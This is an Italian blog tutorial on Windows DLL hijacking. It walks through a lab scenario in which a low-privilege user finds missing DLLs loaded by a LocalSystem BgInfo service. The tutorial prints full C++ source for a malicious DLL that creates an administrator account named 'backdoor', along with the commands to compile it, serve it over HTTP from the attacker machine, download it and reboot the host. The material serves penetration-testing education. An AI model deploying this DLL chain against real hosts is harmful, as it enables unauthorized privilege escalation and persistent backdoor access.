Categories: ⚔️, Hacking11.4 min read

DLL Hijacking

Una dynamic-link library (DLL) è una libreria che viene caricata, in fase di esecuzione, da un dato programma Windows che ne fa uso. Essa contiene codice e dati che possono essere utilizzati anche da più programmi.

L’utilizzo delle DLL ha diversi vantaggi:

  • Riutilizzo del codice e modularità: il codice contenuto in una DLL può essere utilizzato da più applicazioni. Ciò significa che gli sviluppatori possono creare librerie di funzioni comuni, riutilizzabili da più applicazioni. Questo porta alla modularità del codice e rende più facile la manutenzione e l’aggiornamento, dato che una modifica in una DLL può interessare tutte le applicazioni che la utilizzano.
  • Risparmio di memoria: poiché il codice in una DLL può essere condiviso tra più applicazioni, ne consegue un risparmio di memoria, dato che più copie dello stesso codice non devono essere caricate in memoria per ogni applicazione.
  • Estendibilità: le DLL possono essere aggiunte o aggiornate senza dover modificare o reinstallare l’applicazione che le utilizza. Ciò permette alle applicazioni di essere ampliate o aggiornate in modo dinamico.

DLL Hijacking

In ambienti Windows, quando viene eseguita un’applicazione o un servizio, essi utilizzano (solitamente) una serie di DLL. Se una di queste DLL non viene trovata dal programma che la utilizza, oppure il suo caricamento avviene da un “path” con miss-configuration dei permessi, è possibile effettuare un attacco di Privilege Escalation all’interno dell’host target.

0 Intro – The Scenario

Supponiamo di essere riusciti ad ottenere l’accesso ad un Host Windows appartenente alla rete della nostra ipotetica company target e di aver scoperto, a seguito di un’accurata fase di enumerazione del target, che possiamo sfruttare la tecnica di DLL Hijacking per elevare i permessi all’interno della macchina.

  • L’indirizzo IP del nostro target è: 192.168.178.109
  • L’indirizzo IP del nostro attaccante è: 192.168.178.108

1 Enumeration – Find Vulnerable Service

Nella prima fase della nostra enumerazione abbiamo visualizzato l’elenco dei privilegi assegnati all’account utente con cui abbiamo effettuato l’accesso, tramite il comando whoami /priv .

  1. SeShutdownPrivilege (Permesso di spegnimento del sistema): consente all’utente di spegnere o riavviare il sistema.
  2. SeChangeNotifyPrivilege (Permesso di notifica di modifica): consente all’utente di ricevere notifiche quando avvengono modifiche in una cartella o in un oggetto di sistema.
  3. SeUndockPrivilege (Permesso di rimozione del computer portatile dalla docking station): consente all’utente di rimuovere un computer portatile da una docking station senza incorrere in problemi o errori.
  4. SeIncreaseWorkingSetPrivilege (Permesso di incrementare il set di lavoro): consente all’utente di aumentare la quantità di memoria fisica (RAM) che un’applicazione può utilizzare.
  5. SeTimeZonePrivilege (Permesso di modifica del fuso orario): consente all’utente di modificare il fuso orario del sistema, influenzando l’orario visualizzato e l’elaborazione delle informazioni temporali.

Il permesso che ci interessa è SeShutdownPrivilege che rappresenta un potenziale modo per poter fare il restart di un dato servizio, in quanto il nostro utente non dispone di tali privilegi, necessari (ad esempio) per poter lanciare un comando di Restart-Service da powershell.

Dopo aver enumerato gli utenti locali presenti sulla macchina, tramite il comando Get-LocalUser, ci siamo accorti che oltre all’account di nome “Blue” con cui abbiamo effettuato l’accesso ne esiste un altro “Admin” .

Come è facile intuire, l’utente “Blue” (con cui abbiamo loggato) a differenza dell’utente “Admin”, non dispone di privilegi elevati, mentre l’utente Admin è presente nel gruppo “Administrators”.

Inoltre, la nostra fase di enumerazione si è concentrata sui servizi in stato di “Running” presenti sulla macchina vittima.

Per visualizzare tutti i permessi in Running sulla macchina Windows ho utilizzato il seguente comando:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
  1. Get-CimInstance -ClassName win32_service: recupera istanze della classe win32_service utilizzando il cmdlet Get-CimInstance. La classe win32_service contiene informazioni sui servizi di Windows presenti nel sistema.
  2. Select Name,State,PathName: seleziona specifiche proprietà degli oggetti restituiti dalla classe win32_service. In particolare, vengono selezionati i campi “Name” (nome del servizio), “State” (stato del servizio) e “PathName” (percorso del file eseguibile del servizio).
  3. Where-Object {$_.State -like ‘Running’}: Questo filtro, applicato tramite il cmdlet Where-Object, seleziona solo gli oggetti in cui lo stato del servizio corrisponde a “Running”. In pratica, restituisce solo i servizi che sono attualmente in esecuzione.

Dopo un’accorta analisi dei servizi, uno fra tutti ha attirato l’attenzione: BginfoService

Difatti, il nostro ipotetico Amministratore ha creato un servizio in Windows che punta ad un file Binario Bginfo64.exe. Verifichiamo con quali permessi il nostro servizio sta girando, utilizzando il comando:

Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "NomeServizio"} | Select-Object Name, StartName

Il servizio gira come LocalSystem. L’account LocalSystem è un account speciale nel sistema operativo Windows. Esso ha privilegi di accesso più elevati rispetto agli account utente standard e, in pratica, ha pieno controllo su ogni aspetto del sistema operativo. Ed è l’account predefinito utilizzato da molti servizi Windows.

Verifichiamo i permessi di cui disponiamo sulla cartella C:\Tools\BgInfo\ attraverso il comando icacls

MASK PERMISSIONS
F Full access
M Modify access
RX Read and execute access
R Read-only access
W Write-only access

_

Il nostro utente dispone dei permessi per aggiungere o modificare un file all’interno della cartella.

Note: l’attuale miss-configuration dell’host lo rende anche vulnerabile ad una tecnica di Privilege Escalation nota come Binary Hijacking.

All’interno della cartella è presente l’eseguibile Bginfo64.exe

Bginfo64.exe è un programma gratuito fornito da Microsoft all’interno della suite di utility Sysinternals. BgInfo (Background Information) è uno strumento che consente di visualizzare dettagli sul sistema, come il nome del computer, l’indirizzo IP, la versione del sistema operativo, e altro ancora, direttamente sullo sfondo del desktop.

Una volta eseguito, BgInfo raccoglie le informazioni del sistema e genera un’immagine bitmap che viene impostata come sfondo del desktop. Le informazioni visualizzate possono essere configurate dall’utente, consentendo di scegliere quali dettagli del sistema mostrare.

Il programma è spesso utilizzato dagli amministratori di sistema per visualizzare le informazioni di sistema sui server e sulle workstation.

1 – Ghost DLL

Il nostro obiettivo adesso è trovare le DLL mancanti, che vengono caricate all’esecuzione del programma BgInfo.

Analizziamo separatamente l’esecuzione dell’eseguibile BgInfo, tramite l’utility Process Monitor. Supponiamo che il nostro attaccante abbia allestito per l’occasione una macchina di laboratorio per analizzare l’esecuzione del file binario BgInfo64.exe .

Process Monitor è uno strumento avanzato per il monitoraggio e la registrazione in tempo reale dei processi in ambiente Windows, scaricabile al seguente link: https://learn.microsoft.com/it-it/sysinternals/downloads/procmon

L’Utility BgInfo è scaricabile a questo indirizzo: https://learn.microsoft.com/it-it/sysinternals/downloads/BgInfo
Per il nostro esempio sto utilizzando l’ultima versione disponibile sul sito Microsoft 4.32.

  1. Lanciamo l’eseguibile : Procmon64.exe
  2. Dal menù in alto selezioniamo la voce Filter e dal menù a tendina ancora “Filter…”
  3. Adesso impostiamo tre filtri per individuare le DLL target mancanti. Tramite il tasto “Remove” possiamo rimuovere i filtri già preimpostati.

Il primo filtro dovrà mostrarci esclusivamente gli eventi del processo in oggetto: Bginfo64.exe .

Per fare ciò, impostiamolo nel seguente modo:

  • Process Name is Bginfo64.exe then Include
    • Add per aggiungere il filtro

Il secondo filtro deve mostrarci esclusivamente le DLL

  • Path ends with .dll then Include

L’ultimo filtro lo imposteremo per mostrarci esclusivamente le DLL che non sono state trovate all’esecuzione del programma.

  • Result is NAME NOT FOUND then Include

Applichiamo i filtri con il tasto “Apply” e diamo “OK”.

Lanciamo adesso l’applicazione da analizzare, nel nostro caso Bginfo64.exe

ProcMon, ci mostrerà i risultati secondo i nostri filtri di ricerca: tutte le DLL “fantasma” che il nostro eseguibile tenta di caricare in fase di startup, ma che non trova.

2 – Create Malicious DLL

Per generare la nostra DLL malevola abbiamo diverse opzioni. Potremmo generarne una attraverso msfvenom oppure scrivere noi stessi il codice in C++ : come abbiamo detto, le DLL sono moduli di codice che possono essere caricati e eseguiti da qualsiasi programma su Windows.

Analizziamo assieme il seguente codice malevolo che utilizzeremo. DllMain è la funzione di entry point per la DLL e viene chiamata quando la DLL viene caricata e scaricata. Il parametro ul_reason_for_call indica il motivo per cui DllMain è stata chiamata.

Analizziamo il codice riga per riga:

  • #include e #include : librerie standard necessarie per l’esecuzione del codice.
  • BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) :  dichiarazione della funzione DllMain. I suoi parametri sono un handle al modulo DLL, il motivo per cui la funzione è stata chiamata e un puntatore a un valore “riservato”.
  • switch (ul_reason_for_call): lo switch fornisce diverse opzioni a seconda del motivo per cui DllMain è stata chiamata.
  • case DLL_PROCESS_ATTACH: viene eseguito quando un processo carica la DLL. Il codice esegue due comandi di sistema: net user backdoor qwerty123! /add e net localgroup administrators backdoor /add. Questi comandi creano un nuovo utente chiamato “backdoor” con la password “qwerty123!” e aggiungono poi l’ utente al gruppo di amministratori.
  • case DLL_THREAD_ATTACH: viene eseguito quando un processo crea un nuovo thread (in questo caso non accade nulla).
  • case DLL_THREAD_DETACH: viene eseguito quando un thread esce normalmente (in questo caso non accade nulla).
  • case DLL_PROCESS_DETACH: viene eseguito quando un processo scarica la DLL (in questo caso non accade nulla).
  • return TRUE; : la funzione ritorna TRUE per indicare che l’operazione è stata eseguita con successo.

Riassumendo: quando il nostro codice verrà avviato, all’interno dello switch il “case”, DLL_PROCESS_ATTACH creerà un backdoor user aggiungendolo al gruppo degli amministratori.

Vediamo il codice per intero:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
int i;
      i = system ("net user backdoor qwerty123! /add");
      i = system ("net localgroup administrators backdoor /add");
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Salviamolo in un file .cpp (nel mio caso DLLrogue.cpp) e compiliamolo. Il nome di output della compilazione sarà quello di una delle DLL non trovate in fase di caricamento di Bginfo64.exe, che abbiamo visto durante la fase di analisi con Process Monitor. Nel mio caso, ho scelto WINSTA.dll.

x86_64-w64-mingw32-gcc DLLrogue.cpp --shared -o WINSTA.dll

3 – Allocate the Malicious Ghost DLL

Adesso dobbiamo posizionare la DLL malevola che abbiamo creato, all’interno della macchina vittima, in un percorso ben preciso.

Quando un’applicazione deve caricare una DLL, solitamente utilizza un percorso assoluto. Se non è specificato il percorso assoluto dove la DLL dev’essere caricata il sistema utilizzerà un ordine di ricerca predefinito, nel tentativo di trovare la DLL mancante.

  • La directory da cui viene caricata l’applicazione
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • La directory di lavoro corrente
  • Directory nella variabile di ambiente PATH di sistema
  • Directory nella variabile di ambiente PATH dell’utente

Possiamo verificare quali sono le variabili PATH tramite il comando $env:path

Quindi, se la DLL non viene trovata nei percorsi precedenti, verrà cercata in quelli all’interno delle variabili d’ambiente.

La DLL, nel nostro caso, viene cercata all’interno del path C:\Tools\BgInfo\ e dato che abbiamo i permessi, andremo ad allocare direttamente la DLL malevola al suddetto percorso.

4 – Upload Malicious DLL

Esistono diversi metodi per trasferire la DLL Malevola sul pc della vittima. Nel nostro caso, procediamo come segue:

Sulla macchina attaccante spostiamoci nella folder dove abbiamo creato la DLL malevola e avviamo con python un server HTTP:

python3 -m http.server 80

Dalla macchina vittima spostiamoci nella cartella C:\Tools\BgInfo\ ed utilizziamo PowerShell per fare il downlaod del file:

iwr -uri http://192.168.178.108/WINSTA.dll -Outfile WINSTA.dll

 

5 – Restart Service

Adesso che la nostra DLL malevola è stata scaricata all’interno della cartella C:\Tools\BgInfo\, possiamo utilizzare il servizio che punta al file binario Bginfo64.exe .

Riassumendo: abbiamo ipotizzato nel nostro scenario che esista un servizio (con privilegi elevati) creato dall’amministratore di sistema per avviare l’eseguibile Bginfo64.exe. Abbiamo visto che tale file binario tenta di caricare, all’avvio, una serie di DLL dal percorso dove è allocato, tra cui una risponde al nome di WINSTA.dll. Abbiamo quindi creato una DLL fake con questo nome, allo scopo di lanciare i comandi (attraverso il codice da noi scritto) di creazione utente e add al gruppo amministratori, sfruttando i privilegi elevati con cui il servizio gira.

Nel nostro ipotetico esempio non disponiamo dei privilegi per riavviare il servizio, ma possiamo sempre riavviare l’host (e con esso tutti i servizi in esso presenti settati in “Auto”), dato che il nostro utente gode di tali privilegi (lo abbiamo verificato nella fase di enumerazione).

NB: riavviare un host durante un Penetration Test è sempre un’azione rischiosa, poiché dovremmo tenere in considerazioni molteplici fattori che potrebbero verificarsi al boot della macchina, compreso l’eventuale tempo di Down Time dei servizi ad esso connessi.

Procediamo e riavviamo la macchina tramite il seguente comando: shutdown /r /t 0

Accediamo con il nostro utente Blue e verifichiamo che il nostro account backdoor sia stato creato.

Nella seguente immagine, potete vedere prima e dopo l’esecuzione del file binario come amministratore.

Go to Top